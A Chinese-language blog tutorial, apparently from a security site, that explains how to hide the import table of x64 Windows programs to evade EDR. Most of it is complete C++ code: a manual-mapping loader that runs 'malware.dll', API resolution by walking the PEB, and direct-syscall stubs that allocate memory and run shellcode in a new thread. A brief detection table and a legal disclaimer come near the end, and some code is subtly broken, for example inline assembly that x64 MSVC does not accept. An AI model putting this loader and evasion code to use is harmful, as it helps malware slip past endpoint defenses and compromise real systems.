x64环境下完全隐藏导入表技术全解析

2025-02-21 1 0

一、导入表隐藏核心原理

在x64环境下彻底隐藏导入表需要突破传统PE加载机制,通过以下技术实现:

  1. 消除静态IAT:不依赖标准导入表结构

  2. 动态解析API:运行时直接通过内存寻址获取函数

  3. 绕过动态监控:规避EDR对API调用的Hook检测


二、手动映射DLL(Module Stomping)

2.1 技术原理

通过手动解析PE结构并加载DLL到内存,完全绕过Windows加载器对导入表的处理。

实现流程:

  1. 内存分配基址空间

  2. 复制PE头及节区

  3. 处理重定位和导入表

  4. 动态解析依赖项

2.2 完整实现代码

cpp

// manual_map.cpp
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* LdrLoadDll_t)(
    PWCHAR PathToFile,
    ULONG Flags,
    PUNICODE_STRING ModuleFileName,
    PHANDLE ModuleHandle
);

void* ManualMap(const BYTE* peData) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peData;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(peData + dosHeader->e_lfanew);

    // 分配内存
    void* imageBase = VirtualAlloc(
        (void*)ntHeader->OptionalHeader.ImageBase,
        ntHeader->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );

    // 复制PE头
    memcpy(imageBase, peData, ntHeader->OptionalHeader.SizeOfHeaders);

    // 复制节区
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader);
    for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++, section++) {
        void* dest = (BYTE*)imageBase + section->VirtualAddress;
        const BYTE* src = peData + section->PointerToRawData;
        memcpy(dest, src, section->SizeOfRawData);
    }

    // 处理重定位
    DWORD_PTR delta = (DWORD_PTR)imageBase - ntHeader->OptionalHeader.ImageBase;
    PIMAGE_DATA_DIRECTORY relocDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (delta != 0 && relocDir->Size > 0) {
        PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)imageBase + relocDir->VirtualAddress);
        while (reloc->VirtualAddress) {
            DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            PWORD relocItem = (PWORD)(reloc + 1);
            
            for (DWORD i = 0; i < count; i++) {
                if (relocItem[i] >> 12 == IMAGE_REL_BASED_DIR64) {
                    DWORD_PTR* patchAddr = (DWORD_PTR*)((BYTE*)imageBase + reloc->VirtualAddress + (relocItem[i] & 0xFFF));
                    *patchAddr += delta;
                }
            }
            reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
        }
    }

    // 处理导入表(关键隐藏点)
    PIMAGE_DATA_DIRECTORY importDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (importDir->Size > 0) {
        PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)imageBase + importDir->VirtualAddress);
        
        while (importDesc->Name) {
            LPCSTR dllName = (LPCSTR)((BYTE*)imageBase + importDesc->Name);
            HMODULE hMod = LoadLibraryA(dllName);

            PIMAGE_THUNK_DATA origThunk = (PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->OriginalFirstThunk);
            PIMAGE_THUNK_DATA iat = (PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->FirstThunk);

            while (origThunk->u1.AddressOfData) {
                FARPROC procAddr = NULL;
                if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
                    procAddr = GetProcAddress(hMod, (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
                } else {
                    PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME)((BYTE*)imageBase + origThunk->u1.AddressOfData);
                    procAddr = GetProcAddress(hMod, import->Name);
                }
                iat->u1.Function = (ULONGLONG)procAddr;
                
                origThunk++;
                iat++;
            }
            importDesc++;
        }
    }

    // 执行入口点
    if (ntHeader->OptionalHeader.AddressOfEntryPoint) {
        ((void(*)())((BYTE*)imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint))();
    }

    return imageBase;
}

int main() {
    // 读取PE文件到内存(示例为自身)
    HANDLE hFile = CreateFile(L"malware.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* peData = new BYTE[fileSize];
    ReadFile(hFile, peData, fileSize, NULL, NULL);
    CloseHandle(hFile);

    void* module = ManualMap(peData);
    delete[] peData;
    return 0;
}

技术优势

  • 内存中无完整IAT结构

  • 绕过静态导入表扫描


三、动态API解析(PEB遍历)

3.1 技术原理

通过遍历PEB结构直接获取API地址,完全不依赖导入表。

3.2 完整实现代码

cpp

// peb_resolve.cpp
#include <Windows.h>
#include <winternl.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ... 其他字段省略
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

FARPROC GetProcAddressEx(LPCWSTR moduleName, LPCSTR procName) {
    PPEB peb = (PPEB)__readgsqword(0x60); // x64 PEB偏移
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY entry = head->Flink;

    while (entry != head) {
        PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module->DllBase;
        PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)dosHeader + dosHeader->e_lfanew);

        // 匹配模块
        if (_wcsicmp(module->BaseDllName.Buffer, moduleName) == 0) {
            PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
                (BYTE*)dosHeader + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
            );

            DWORD* names = (DWORD*)((BYTE*)dosHeader + exports->AddressOfNames);
            WORD* ordinals = (WORD*)((BYTE*)dosHeader + exports->AddressOfNameOrdinals);
            DWORD* functions = (DWORD*)((BYTE*)dosHeader + exports->AddressOfFunctions);

            for (DWORD i = 0; i < exports->NumberOfNames; i++) {
                LPCSTR name = (LPCSTR)((BYTE*)dosHeader + names[i]);
                if (strcmp(name, procName) == 0) {
                    return (FARPROC)((BYTE*)dosHeader + functions[ordinals[i]]);
                }
            }
        }
        entry = entry->Flink;
    }
    return nullptr;
}

int main() {
    typedef int (WINAPI* MessageBoxW_t)(HWND, LPCWSTR, LPCWSTR, UINT);
    MessageBoxW_t pMessageBoxW = (MessageBoxW_t)GetProcAddressEx(L"user32.dll", "MessageBoxW");
    
    pMessageBoxW(NULL, L"API Resolved via PEB", L"Alert", MB_OK);
    return 0;
}

技术优势

  • 完全消除导入表

  • 绕过EDR的IAT监控


四、系统调用链(Syscall Chaining)

4.1 技术原理

通过直接系统调用链式执行敏感操作,完全不依赖任何用户层DLL。

4.2 完整实现代码

cpp

// syscall_chain.cpp
#include <Windows.h>

// Windows 10 21H2系统调用号
#define SYSCALL_NT_ALLOC_VM 0x18
#define SYSCALL_NT_PROTECT_VM 0x50
#define SYSCALL_NT_CREATE_THREAD 0xC4

EXTERN_C NTSTATUS SysNtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
) {
    __asm {
        mov r10, rcx
        mov eax, SYSCALL_NT_ALLOC_VM
        syscall
        ret
    }
}

EXTERN_C NTSTATUS SysNtProtectVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
) {
    __asm {
        mov r10, rcx
        mov eax, SYSCALL_NT_PROTECT_VM
        syscall
        ret
    }
}

EXTERN_C NTSTATUS SysNtCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartAddress,
    PVOID Parameter,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList,
    PCLIENT_ID ClientId
) {
    __asm {
        mov r10, rcx
        mov eax, SYSCALL_NT_CREATE_THREAD
        syscall
        ret
    }
}

int main() {
    BYTE shellcode[] = { 0xC3 }; // RET指令

    // 内存分配
    PVOID baseAddr = nullptr;
    SIZE_T size = sizeof(shellcode);
    SysNtAllocateVirtualMemory(
        GetCurrentProcess(),
        &baseAddr,
        0,
        &size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    // 写入Shellcode
    memcpy(baseAddr, shellcode, sizeof(shellcode));

    // 修改内存保护
    ULONG oldProtect;
    SysNtProtectVirtualMemory(
        GetCurrentProcess(),
        &baseAddr,
        &size,
        PAGE_EXECUTE_READ,
        &oldProtect
    );

    // 创建线程执行
    HANDLE hThread;
    SysNtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        nullptr,
        GetCurrentProcess(),
        baseAddr,
        nullptr,
        0,
        0,
        0,
        0,
        nullptr,
        nullptr
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}

技术优势

  • 完全脱离用户层DLL

  • 绕过所有用户层Hook


五、防御与检测方案

5.1 检测技术

攻击方式 检测方法
手动映射 内存PE头特征扫描
PEB遍历 检测非标准模块枚举行为
系统调用链 监控非常用syscall调用序列

5.2 防御建议

powershell

# 启用内核态保护
Set-ProcessMitigation -Policy Enable ExportAddressFilter, ImportAddressFilter

# 监控异常内存操作
New-EventLog -LogName Security -Source "MemGuard"
Write-EventLog -LogName Security -Source "MemGuard" -EventId 7001 `
  -Message "检测到无模块关联的可执行内存"

六、技术演进方向

  1. AI驱动隐蔽

    python

    # 动态生成系统调用链
    import tensorflow as tf
    model = tf.keras.models.load_model('syscall_predictor.h5')
    next_syscall = model.predict(current_state)
  2. 硬件级隐藏

    • 利用Intel SGX安全区执行

    • 基于AMD SEV的内存加密

  3. 跨架构兼容

    nasm

    ; ARM64系统调用示例
    mov x8, #SYSCALL_NUMBER
    svc #0

七、法律声明

  1. 本文所述技术仅限用于授权安全研究

  2. 未经许可实施攻击违反《网络安全法》


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] PC gRPC HTTP2 SQLI+KTOR-HTTP扫描+pyLoad 0.5.0 js2py滥用权限提升
[Meachines] [Easy] Wifinetic FTP匿名登录+Reaver WPS PIN密码泄露权限提升
[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
网络钓鱼即服务平台 Darcula 现已支持自动生成针对任何品牌的钓鱼工具包
如何依据GDPR起诉公司数据滥用与隐私侵犯行为
警惕!利用AI深度伪造视频的新型“自骗”攻击浪潮来袭

发布评论